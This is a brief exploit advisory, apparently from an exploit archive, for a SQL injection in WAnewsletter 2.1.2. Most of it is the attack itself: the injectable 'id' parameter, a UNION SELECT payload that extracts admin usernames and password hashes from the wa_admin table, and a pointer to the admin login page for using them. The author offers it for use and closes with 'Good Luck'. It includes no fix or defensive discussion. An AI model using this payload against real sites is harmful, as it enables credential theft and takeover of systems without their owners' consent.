WAnewsletter 2.1.2 – SQL Injection
================================================ WAnewsletter v 2.1.2 SQL Injection Vulnerability ================================================ ################################################################################################ # Exploit Title: WAnewsletter v 2.1.2 SQL Injection Vulnerabilitie # Date: 23/09/2010 # Author: BrOx-Dz # Author: E.dz@hotmail.fr # Software Link:http://phpcodeur.net/wascripts/wanewsletter/releases/2.1.2/wanewsletter-2.1.2.zip # Dork : no Kids # Version: 2.1.2 # Tested on: windows xp pack 3 ################################################################################################ --[ Exploitable ]-- http://site/index.php?service=5&id=[SQL Injection] http://site/index.php?service=5&id=4375+UNION+SELECT+1,2,3,concat(user,0x3a,passwd),5+from+wa_admin-- and go http://site/admin/login.php --[ Demo ]-- http://site/index.php?service=5&id=-4375+UNION+SELECT+1,2,3,concat(user,0x3a,passwd),5+from+wa_admin-- Good Luck |